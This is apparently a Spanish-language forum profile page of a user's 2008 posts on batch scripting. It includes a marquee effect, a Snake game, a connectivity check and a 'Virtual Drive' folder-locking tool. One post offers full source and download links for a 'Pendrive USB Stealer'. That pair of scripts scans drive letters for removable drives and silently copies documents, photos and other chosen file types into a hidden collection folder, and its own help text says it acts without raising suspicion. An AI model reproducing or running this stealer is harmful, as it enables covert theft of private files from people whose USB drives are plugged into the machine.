| |
Mostrar Mensajes
|
|
Páginas: [1] 2 3 4 5 6
|
|
2
|
Programación / Scripting / Re: Efecto Mrquesina xD
|
en: Ayer a las 18:47
|
me gusto el efecto que creaste...pero tenia la deficiencia de preguntar al user por la longitud de lo que acabo de escribir... He codeado mi propio efecto...a ver que tal te parece  @echo off title Efecto de Marquesina REM Coded by :: SmartGenius :: SETLOCAL ENABLEDELAYEDEXPANSION :ini set /p texto="Texto a Mostrar: > " if not defined texto goto ini set v=%texto% call :string %v% REM Obtenemos el Tamaño de Pantalla for /f "tokens=2" %%a in ('mode con^|find /i "col"') do (set /a l=%%a-%length%) REM Creamos una Variable con L espacios vacios for /l %%b in (1,1,%l%) do (call :new %%b) REM Mostramos la Cadena andando hacia la derecha for /l %%c in (1,1,%l%) do (call :show %%c) REM Mostramos la Cadena andando hacia la izquierda for /l %%d in (%l%,-1,1) do (call :show %%d) pause exit
:new set r= %r% goto :eof
:show cls set lim=%1 echo !r:~0,%lim%!%texto% ping -n 1 >nul goto :eof
:string set /a length=%length%+1 set v=%v:~1% if "%v%"=="" goto :eof goto string Saludos.
|
|
|
|
|
4
|
Programación / Scripting / Re: My USB Stealer
|
en: 03 Octubre 2008, 05:25
|
Necesitas ayuda con codigos.....ya tengo la idea bastante desarrollada hace rato...y ya ahi una version funcional...programada con ayuda del compañero Rockox... Mira...lo puedes descargar aqui... http://two.xthost.info/smartgenius/SourceCodeUSBStealerV1.01.ziphttp://rapidshare.com/files/122880149/USBPendriveStealerv1.01.zipEl programa consta de dos codes...uno de configuracion y uno de escaneo... USBStealer @echo off mode con cols=70 mode con lines=40 title Pendrive Stealer - Local color 0a REM Script de Copia de Dispositivos USB REM Coded by :: SmartGenius :: , RockoX
if exist "myfolder.cfg" (goto anim) else (goto ins)
:ins cls echo. echo Instalando el Programa... echo Por favor espere echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg" md "Mi Carpeta" echo "Mi Carpeta\">"myfolder.cfg" ping -n 2 0.0.0.0 > nul pause goto anim
:anim cls echo. echo ±±±±± ±±±±± echo ±±°°°°°± ±±°°°°°± echo ±°°°°°°°±± ±°°°°°°°± echo ±±°°°°°°°°°± ±±°°°°°°°°±± echo ±°°°°°°°°°°°± ±±°°°°°°°°°°°°± echo ±°°°°°°°°°°°°±± ²²²²²²²²²²²²²²²²²² ±±±°°°°°°°°°°°°°°± echo ±±°°°°°°°°°°°°±±± ²²²²±±°°°°°°°°°°°°±±²²²²±°°°°°°°°°°°°±±±±± echo ±±±±±±°°°°°°°°°±²²²²°°°°°°°°°°°°°°°°°°°°°°²²²²°°°°°°±±±±± echo ±±±°°°°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±± echo ±°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²± echo ²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°±±²² echo ²²°°°°°°°°°°²²²²°°°°°°°°²²²²°°°°°°°°°°°²² echo ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²² echo ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²² echo ²²°°°°°°°°°±²²²²°°°°°°°±²²²²°°°°°°°°°°°²² echo ²²±±°°°°°°°°°°°°°°±±±±°°°°°°°°°°°°°°°°²² echo ²²²°°°°°°°°°°°°°°²²²²°°°°°°°°°°°°°°²²²² echo ±±²²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±± echo ±±°°°°²²±°°°°°°°°°°°°°°°°°°°°°°°°°°²²°°°°°°±± echo ±±±°°°°°°°²²²²°°°°°°°°°°°°°°°°°°°°°²²²°°°°°°°°°°±±±±±±± echo ±±±±±±°°°°°°°°±±² ²²²°°°°°°°°°°°°°°°°°°²² ±±°°°°°°°°°°°°°°°±± echo ±±°°°°°°°°°°°°±± ²°°°°°°°°°°°°°°°°°°² ±±±±°°°°°°°°°°°°°± echo ±°°°°°°°°°°°±± ²°°°°°°°°°°°°°°°°°°² ±±°°°°°°°°°°±± echo ±±°°°°°°°°±± ²°°±°°±°°±°°±°°±°°°² ±°°°°°°°°±± echo ±±°°°°°±± ²²²²²²²²²²²²²²²²²²²² ±±°°°°°°± echo ±°°°±± ±°°°°± echo ±±±± ±±±± echo. echo ²²² ²²² ²² ²²² ²² ²² ²²² ² ² ²²² ²²² ²²² echo ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² echo ² ² ² ² ² ²²² ²² ² ² ²²² ²² ²²² ²²² ²²² echo ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² echo ²²² ²²² ²² ²²² ² ² ² ² ² ² ²²² ² ² ²²² echo. pause goto main
:main cls echo. echo. echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º Pendrive Stealer v 1.0 xD º echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo Elija una Opcion: echo. echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³1³ ³ Definir carpeta principal...³ ³2³ ³ Tipos de Archivos.. ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³3³ ³ Iniciar Escaneo de USBs... ³ ³4³ ³ Ayuda del Programa.. ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³5³ ³ Salir del Programa.. ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo. set /p opc=">> " if "opc"=="" (goto main) set opc=%opc: =_%
if %opc%==1 goto dcp if %opc%==2 goto ftype if %opc%==3 goto scan if %opc%==4 goto help if %opc%==5 (goto out) else (goto err)
:err cls echo. echo ERROR... echo. echo No ha escogido una Opcion Correcta echo Vuelva a Intentarlo echo. pause goto main
:dcp cls echo. echo. echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º Pendrive Stealer v 1.0 xD º echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo En esta opcion puede definir en donde se guardaran echo los archivos copiados... echo. echo Arrastre aqui la carpeta echo. set /p dcp=">> " if "dcp"=="" (goto dcp) echo %dcp%>"myfolder.cfg" echo. echo La carpeta : %dcp% echo se ha establecido exitosamente... echo. pause goto main
:ftype cls echo. echo. echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º Pendrive Stealer v 1.0 xD º echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo Configure aqui los tipos de archivos que desea Escanear y Copiar echo. echo Elija una Opcion: echo. echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³1³ ³ Documentos... ³ ³2³ ³ Imagenes ^& Fotos.. ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³3³ ³ Musica ^& Audio ³ ³4³ ³ Documentos ^& Imagenes.. ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³5³ ³ Videos * ³ ³6³ ³ Todas las Opciones... * ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo. echo * Las Opciones 5 y 6 pueden tardar mas de lo normal... echo. set /p typ=">> " if "typ"=="" (goto ftype) if %typ%==1 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb>"ftypes.cfg" & goto yap) if %typ%==2 (echo *.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap) if %typ%==3 (echo *.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg>"ftypes.cfg" & goto yap) if %typ%==4 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap) if %typ%==5 (echo *.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov>"ftypes.cfg" & goto yap) if %typ%==6 (echo *.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma>"ftypes.cfg" & goto yap) goto main
:yap for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b echo. echo Tipos de Archivos Configurados correctamente echo. echo Archivos con Extension: %filetypes% echo. pause goto main
:scan start USBScan.bat exit
:help cls echo. echo. echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º Pendrive Stealer v 1.0 xD º echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo Este programa tiene la Funcion de copiar archvos desde dispositivos echo USB, de manera silenciosa y sin levantar sospechas... echo. echo El programa puede ser congifurado facilmente, dandole opciones de echo escoger que tipos de archivos copiar y en que carpeta se deben echo guardar... echo. echo. echo Titulo: Pendrive USB Stealer, Version 1.0 Local echo Autores: :: SmartGenius ::, RockoX echo Web: http://foro.code-makers.es echo. echo SmartGenius, Corp. 2008 echo. pause goto main :out cls echo MsgBox "Gracias por usar este Programa", 64, "USB Stealer" >%temp%\msgr.vbs start %temp%\msgr.vbs exit
USBScan @echo off title USB Stealer - Local color 0a
:load cls echo MsgBox "Se inicio el Escaneo...", 64, "USB Stealer" >%temp%\msgr.vbs start %temp%\msgr.vbs goto ini
:ini if not exist "myfolder.cfg" (goto fixfolder) for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a if not exist "ftypes.cfg" (gotp fixfiles) for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b goto main
:main for %%u in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do call :comp %%u goto ini
:comp set unidad=%1 FSUTIL FSINFO DRIVETYPE %unidad%:>%temp%\letuni.tmf if %errorlevel%==1 (goto usb2) for /F "tokens=*" %%e in (%temp%\letuni.tmf) do set let=%%e if %let:~-4%==ble (call :usb %unidad%) if %let:~-4%==ija (goto :eof) if %let:~-4%==ROM (goto :eof)
:usb set letra=%1 if exist "%letra%:\db.ini" goto :eof for /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%) echo USB>db.ini goto :eof
:usb2 for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :usb %%n) goto ini
:fixfiles echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg" echo MsgBox "Los Tipos de Archivo no estan configurados...", 64, "USB Stealer" >%temp%\msgr.vbs start %temp%\msgr.vbs exit
:fixfolder echo "Mi Carpeta\">"myfolder.cfg" echo MsgBox "No Hay una Carpeta Predefinida...", 64, "USB Stealer" >%temp%\msgr.vbs start %temp%\msgr.vbs exit
Saludos.
|
|
|
|
|
5
|
Programación / Scripting / Re: TUTORIAL vbscript
|
en: 25 Septiembre 2008, 01:22
|
Master...esta buenisimo todo esto....ya era hora de que lo pusieras....me viene de perlas.......  Si hubiesen Karmas te las daba..  Con tu permiso copiare algo de contenido....con referencia a ti Onbio..xD Saludos.
|
|
|
|
|
9
|
Programación / Scripting / Re: Varias dudas para extraer informacion de texto x batch?
|
en: 20 Septiembre 2008, 04:39
|
creo que usando PING y ERRORLEVEL puedes establecer si tienes conexion a internet...es facil... Este code de RockoX: Aver esto : @echo off cd %windir%\system32 ping -n 2 www.google.com>nul if errorlevel 1 ( goto :NoConection ) else ( goto :Conection )
:NoConection cls msg * No hay conexion! goto :EOF
:Conection cls msg * Si hay conexion! goto :EOF Saludos.
|
|
|
|
|
10
|
Programación / Scripting / Snake en Batch o_O - by Smart
|
en: 07 Septiembre 2008, 17:39
|
Alguien por ahi me dijo que no se podia jugar en batch....  Pues para esos que hablan mal de Batch...aqui tienen algo xD Se trata de un Juego simple que creo que ya todos conocen: Snake.... Aunque por ahora no crece ni se alimenta, pero se mueve sola y se choca con las paredes....  Esto es lo que llevo: v1.@echo off title Snake REM A Game like the Snake REM Coded by :: SmartGenius :: color 0a mode con cols=15 lines=16 :ini for /l %%a in (10,1,109) do (set p%%a= ) set dot=Û set newpos=p10 set %newpos%=%dot% set nnpos=p00 set %nnpos%=. set dir=d :main cls set oldpos=%newpos% set curpos=%newpos% echo. echo  ÚÄÄÄÄÄÄÄÄÄÄ¿ echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³ echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³ echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³ echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³ echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³ echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³ echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³ echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³ echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³ echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³ echo  ÀÄÄÄÄÄÄÄÄÄÄÙ echo. goto :%dir% :w choice /c:wasdx /n /s /t:w,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto left if %errorlevel%==3 goto down if %errorlevel%==4 goto rigth if %errorlevel%==5 (goto out) else (goto main) :a choice /c:wasdx /n /s /t:a,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto left if %errorlevel%==3 goto down if %errorlevel%==4 goto rigth if %errorlevel%==5 (goto out) else (goto main) :s choice /c:wasdx /n /s /t:s,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto left if %errorlevel%==3 goto down if %errorlevel%==4 goto rigth if %errorlevel%==5 (goto out) else (goto main) :d choice /c:wasdx /n /s /t:d,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto left if %errorlevel%==3 goto down if %errorlevel%==4 goto rigth if %errorlevel%==5 (goto out) else (goto main) :down if %oldpos:~-2,1%==0 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%+10 set newpos=p%newpos% set %newpos%=%dot% set dir=s goto main :up if %oldpos:~-1,1%==1 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%-10 set newpos=p%newpos% set %newpos%=%dot% set dir=w goto main :rigth if %oldpos:~-1%==9 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%+1 set newpos=p%newpos% set %newpos%=%dot% set dir=d goto main :left if %oldpos:~-1%==0 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%-1 set newpos=p%newpos% set %newpos%=%dot% set dir=a goto main :out cls call :echodyn G A M E call :echodyn O V E R call :echodyn by Smart echo. echo. echo. echo   SmartGenius echo   Corp. 2008 echo. pause>nul exit :echodyn set texto=%*  set num=1 :dyn2 call set var1=%%texto:~0,%num%%% if "%var1%"=="%texto%" set num=0 cls echo. echo. echo. echo. echo. echo    %var1% ping -n 0,3 0.0.0.0 > nul if %num%==0 (goto :eof) set /a num=%num%+1 goto dyn2 Necesitan del comando CHOICE para que funcione... si no lo tienen pues en internet se consigue facilito...  Algo que se me olvidaba, aunque creo que ya lo habian deducido es los Controles... W = Arriba A = Izquierda S = Abajo D = Derecha X = SalirUn segundo Codigo del Mismo, pero esta vez no se mueve en Reversa ni acelera... @echo off title Snake REM A Game like the Snake REM Coded by :: SmartGenius :: color 0a mode con cols=15 lines=16 :ini for /l %%a in (10,1,109) do (set p%%a= ) set dot=Û set newpos=p10 set %newpos%=%dot% set nnpos=p00 set %nnpos%=. set dir=d :main cls set oldpos=%newpos% set curpos=%newpos% echo. echo  ÚÄÄÄÄÄÄÄÄÄÄ¿ echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³ echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³ echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³ echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³ echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³ echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³ echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³ echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³ echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³ echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³ echo  ÀÄÄÄÄÄÄÄÄÄÄÙ echo. goto :%dir% :w choice /c:adxf /n /s /t:f,1 if %errorlevel%==1 goto left if %errorlevel%==2 goto rigth if %errorlevel%==3 (goto out) else (goto up) :a choice /c:wsxf /n /s /t:f,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto down if %errorlevel%==3 (goto out) else (goto left) :s choice /c:adxf /n /s /t:f,1 if %errorlevel%==1 goto left if %errorlevel%==2 goto rigth if %errorlevel%==3 (goto out) else (goto down) :d choice /c:wsxf /n /s /t:f,1 if %errorlevel%==1 goto up if %errorlevel%==2 goto down if %errorlevel%==3 (goto out) else (goto rigth) :down if %oldpos:~-2,1%==0 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%+10 set newpos=p%newpos% set %newpos%=%dot% set dir=s goto main :up if %oldpos:~-1,1%==1 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%-10 set newpos=p%newpos% set %newpos%=%dot% set dir=w goto main :rigth if %oldpos:~-1%==9 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%+1 set newpos=p%newpos% set %newpos%=%dot% set dir=d goto main :left if %oldpos:~-1%==0 (goto :out) set newpos=%curpos% set %curpos%= set /a newpos=%newpos:~-2%-1 set newpos=p%newpos% set %newpos%=%dot% set dir=a goto main :out cls call :echodyn G A M E call :echodyn O V E R call :echodyn by Smart echo. echo. echo. echo   SmartGenius echo   Corp. 2008 echo. pause>nul exit :echodyn set texto=%*  set num=1 :dyn2 call set var1=%%texto:~0,%num%%% if "%var1%"=="%texto%" set num=0 cls echo. echo. echo. echo. echo. echo    %var1% ping -n 0,3 0.0.0.0 > nul if %num%==0 (goto :eof) set /a num=%num%+1 goto dyn2 Necesito ideas, y pues tambien codigo para arreglar algunos errores que tiene y para que haga las demas funciones que necesita para que sea igual al juego original... Solo me falta hacer que crezca y se alimente....  y ya la tendria mas o menos lista...para Jugar  Espero sus comentarios... Saludos.
|
|
|
|
|
11
|
Programación / Scripting / Re: Virtual Drive v 1.5 by :: SmartGenius ::
|
en: 07 Septiembre 2008, 17:33
|
|
Gracias...... por eso siempre publico el codigo, porque puede que a mi se me hallan pasado algunas cosas, pero asi otros lo revisan y pueden corregir los errores para entre todos mejorar...es una gran herramienta...
Saludos.
|
|
|
|
|
12
|
Programación / Scripting / Re: Virtual Drive v 1.5 by :: SmartGenius ::
|
en: 07 Septiembre 2008, 01:29
|
|
jejeje, kraszic... pues no es tanto un error, bueno, en la version 2 No, ya que apenas lo abres el te dice que aun no has creado ninguna unidad virtual y que debes de hacerlo desde el menu, ya que en la version anterior la creaba directamente con la letra Z, pero ahora puedes escoger...aunque si falta una comprobacion de que no existe ninguna unidad... pero se puede arreglar
Saludos.
|
|
|
|
|
14
|
Programación / Scripting / Re: Virtual Drive v 1.5 by :: SmartGenius ::
|
en: 04 Septiembre 2008, 22:03
|
Esta bastante bueno, considerando que batch no es un lenguaje de PROGRAMACION. Te felicito amigo.
bueno pues yo si lo considero asi.... se pueden hacer muchas cosas... de paso dejo la nueva version que esta mejorada y con los errores arreglados.. Virtual Drive v 2 ReloadedAqui les traigo el nuevo codigo de esta gran utilidad que he codeado...  He arreglado los bugs de las anteriores versiones, con respecto a la gestion de las unidades virtuales, y he agregado nuevas funciones, ademas de mayor seguridad para los datos en las unidades... Destro de las mejoras esta el uso de CACLS para cerrar los datos, y tambien la posibilidad de personalizar la unidad virtual...xD xD Una vista previa de la personalizacion... xD El fondo aqui: http://img221.imageshack.us/img221/5200/fondovd2bysmartnw3.jpgy Aqui el codigo del programa... @echo off mode con cols=68 lines=25 title Virtual Drive v 2 Reloaded - by :: SmartGenius :: color 0a REM Gestor de Unidad Virtual Protegida REM Proteccion Mediante Credenciales, metodo by SmartGenius REM Las Credenciales Permiten Crear una Unidad Virtual REM independiente para cada Usuario de la PC.
:load cls call :credencial if not exist "%systemdrive%\RECYCLER\%cred%\config.cfg" (goto first) else (goto menu) exit
:menu cls echo. echo Bienvenido %username% echo. echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º Gestor de Unidades Virtuales º echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo Elija una Opcion: echo. echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³1³ ³ Abrir Unidad Virtual ³ ³2³ ³ Cerrar Unidad... ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³3³ ³ Crear Unidad Nueva... ³ ³4³ ³ Eliminar Unidad... ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ echo ³5³ ³ Proteger Unidad... ³ ³6³ ³ Extras ^& Ayuda ³ echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo. set /p pin=">> " if %pin%==1 call :gestion open if %pin%==2 call :gestion close if %pin%==3 call :create if %pin%==4 call :gestion delete if %pin%==5 call :gestion lock if %pin%==6 (goto other) else (goto menu) exit
:gestion cls set funcion=%1 set lin11= &set lin12= &set lin13= set lin21= &set lin22= &set lin23= set uni1= &set uni2= &set uni3= &set drive= for /F "tokens=*" %%n in (%systemdrive%\RECYCLER\%cred%\config.cfg) do (set num=%%n) call :unis %num% echo. echo. echo Unidades Virtuales: %num% echo. echo Escoja una Unidad Virtual: echo. echo %lin11% %lin12% %lin13% echo %uni1% %uni2% %uni3% echo %lin21% %lin22% %lin23% echo. set /p unidad=">> " call :%funcion% %unidad% goto :eof
:unis set val=%1 for /l %%k in (0,1,3) do ( if exist "%systemdrive%\RECYCLER\%cred%\vd00%%k.tmf" ( for /F "tokens=1" %%l in (%systemdrive%\RECYCLER\%cred%\vd00%%k.tmf) do ( set uni%%k=³%%k³ ³ Unidad %%l ³ set lin1%%k=ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄ¿ set lin2%%k=ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÙ ) ) ) goto :eof
:credencial for /R "%appdata%\Microsoft\Credentials" %%a in (.) do (echo %%a>%temp%\cred.tmf) for /F "tokens=7 delims=\" %%b in (%temp%\cred.tmf) do (set cred=%%b) goto :eof
:first call :credencial cls echo. echo TOKEN: %cred% echo. echo Bienvenido %username% echo. echo Aun no ha creado Ninguna Unidad Virtual echo. echo Debe escoger la opcion de Crear Unidad echo Virtual en el Menu Principal... echo. ping -n 4 0.0.0.0 >nul echo 0 >%systemdrive%\RECYCLER\%cred%\config.cfg goto menu
:open set var=%1 if not exist "%systemdrive%\RECYCLER\%cred%\vd00%var%.tmf" (echo.&echo La Unidad Escogida no Existe&echo.&pause&goto menu) for /F "tokens=*" %%m in (%systemdrive%\RECYCLER\%cred%\vd00%var%.tmf) do (set drive=%%m) set unidad=%drive:~0,1%: if exist "%unidad%" (echo.&echo La Unidad se encuentra Activa&echo.&pause&start %unidad%&goto menu) if exist "%systemdrive%\RECYCLER\%cred%\vd00%var%.cfg" (call :unlock %var%) set ruta=%systemdrive%\RECYCLER\%cred%\vd00%var% cacls "%ruta%" /e /p Todos:f>nul subst "%unidad%" "%ruta%" echo Por Favor espere... ping -n 5 0.0.0.0>nul start %unidad% goto :eof
:close set letra=%1 for /F "tokens=*" %%m in (%systemdrive%\RECYCLER\%cred%\vd00%letra%.tmf) do (set drive=%%m) set unidad=%drive:~0,1%: set ruta=%systemdrive%\RECYCLER\%cred%\vd00%letra% subst "%unidad%" /D cacls "%ruta%" /e /d Todos>nul echo. echo Unidad Bloqueada echo. pause goto :eof
:lock set virt=%1 if exist "%systemdrive%\RECYCLER\%cred%\vd00%virt%\password.cfg" (call :unlock %virt%) echo. echo Introduzca un Clave para Proteger la Unidad echo. set /p clave=">> " echo %clave%>"%systemdrive%\RECYCLER\%cred%\vd00%virt%\password.cfg" echo Protected>"%systemdrive%\RECYCLER\%cred%\vd00%virt%.cfg" attrib +h "%systemdrive%\RECYCLER\%cred%\vd00%virt%\password.cfg" echo La Clave "%clave%" ha sido establecida Exitosamente. echo. pause goto :eof
:unlock set tip=%1 for /F "tokens=*" %%c in (%systemdrive%\RECYCLER\%cred%\vd00%tip%\password.cfg) do (set word=%%c) echo. echo La Unidad Virtual se Encuentra Protegida. echo. echo Introduzca el Password: echo. set /p pass=">> " if %pass%==%word% (goto :eof) else (echo.&echo Clave Incorrecta&pause&goto menu) goto :eof
:help cls echo. echo Bienvenido a la Ayuda del Programa echo. echo El TOKEN es el Identificador de Seguridad del Usuario, echo y es diferente en cada Instalacion de Windows. echo. echo Use la Unidad Virtual para guardar archivos y luego echo bloquee el acceso mediante la aplicacion. echo. echo Puede crear un Maximo de 3 Unidades Virtuales por echo usuario. echo. echo Si lo desea, puede establecer una contraseña para cada echo na de las Unidades Virtuales. echo. echo De igual manera cuenta con varias opciones para que echo personalice la Unidad Virtual. echo. echo Para dudas, comentarios y sugerencias favor contactar echo con el autor del Programa. echo. echo :: SmartGenius, Corp. 2008 :: echo. pause goto menu
